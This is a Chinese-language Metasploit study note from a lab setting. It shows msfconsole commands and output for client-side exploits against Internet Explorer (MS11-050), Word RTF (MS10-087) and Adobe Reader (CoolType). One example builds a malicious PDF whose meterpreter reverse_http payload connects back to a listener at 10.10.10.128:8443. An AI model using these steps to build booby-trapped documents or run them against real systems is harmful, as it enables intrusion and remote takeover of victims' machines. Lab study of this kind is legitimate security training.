Metasploit学习笔记——客户端渗透攻击

1.浏览器渗透攻击实例——MS11-050安全漏洞

示例代码如下

msf > use windows/browser/ms11_050_mshtml_cobjectelement

msf exploit(windows/browser/ms11_050_mshtml_cobjectelement) > info

Name: MS11-050 IE mshtml!CObjectElement Use After Free

Module: exploit/windows/browser/ms11_050_mshtml_cobjectelement

Platform: Windows

Arch:

Privileged: No

License: Metasploit Framework License (BSD)

Rank: Normal

Disclosed: 2011-06-16

Available targets:

Id Name

-- ----

0 Automatic

1 Internet Explorer 7 on XP SP3

2 Internet Explorer 7 on Windows Vista

3 Internet Explorer 8 on XP SP3

4 Internet Explorer 8 on Windows 7

5 Debug Target (Crash)

Basic options:

Name Current Setting Required Description

---- --------------- -------- -----------

OBFUSCATE false no Enable JavaScript obfuscation

SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload information:

Space: 500

Avoid: 6 characters

Description:

This module exploits a use-after-free vulnerability in Internet

Explorer. The vulnerability occurs when an invalid <object> tag

exists and other elements overlap/cover where the object tag should

be when rendered (due to their styles/positioning). The

mshtml!CObjectElement is then freed from memory because it is

invalid. However, the mshtml!CDisplay object for the page continues

to keep a reference to the freed <object> and attempts to call a

function on it, leading to the use-after-free. Please note that for

IE 8 targets, JRE (Java Runtime Environment) is required to bypass

DEP (Data Execution Prevention).

在靶机中启动IE浏览器访问该链接

[-] 10.10.10.254 ms11_050_mshtml_cobjectelement - Unknown User-Agent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

由于靶机的IE版本不在可以利用的范围内，就只能大概测试一下，如果成功的话

2.针对Office软件的渗透攻击实例——MS10-087安全漏洞

示例代码如下

msf > search ms10_087

payload => windows/exec

msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set CMD calc.exe

CMD => calc.exe

FILENAME => ms10087.rtf

msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit

[*] Creating 'ms10087.rtf' file ...

[+] ms10087.rtf stored at /root/.msf4/local/ms10087.rtf

将这个文件复制到WinXP靶机，双击运行，其中存在的安全漏洞被利用，从而执行Metasploit的攻击载荷，弹出计算器程序。

3.Adobe阅读器渗透攻击实战案例——加急的项目进展报告

示例代码如下

msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > use exploit/windows/fileformat/adobe_cooltype_sing

msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_http

payload => windows/meterpreter/reverse_http

msf exploit(windows/fileformat/adobe_cooltype_sing) > set LHOST 10.10.10.128

LHOST => 10.10.10.128

msf exploit(windows/fileformat/adobe_cooltype_sing) > set LPORT 8443

LPORT => 8443

msf exploit(windows/fileformat/adobe_cooltype_sing) > set FILENAME 2.pdf

FILENAME => 2.pdf

msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit

[*] Creating '2.pdf' file...

[+] 2.pdf stored at /root/.msf4/local/2.pdf

在攻击机再启动一个对应于载荷的监听端，等待靶机回连，示例代码如下

msf exploit(windows/fileformat/adobe_cooltype_sing) > use exploit/multi/handler

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_http

payload => windows/meterpreter/reverse_http

msf exploit(multi/handler) > set LHOST 10.10.10.128

LHOST => 10.10.10.128

msf exploit(multi/handler) > set LPORT 8443

LPORT => 8443

msf exploit(multi/handler) > exploit

[*] Started HTTP reverse handler on http://10.10.10.128:8443

将该模块产生的测试文件2.pdf复制到WinXP靶机中，双击打开该文件，监听端接到来自靶机的Meterpreter连接，执行命令对靶机环境进行基本查询，示例代码如下

[*] http://10.10.10.128:8443 handling request from 10.10.10.254; (UUID: q3cpml8e) Staging x86 payload (180825 bytes) ...

相应地查看WinXP靶机中的情形，可以看到阅读软件Adobe Reader被溢出之后已经处于崩溃状态，不能够正常显示了
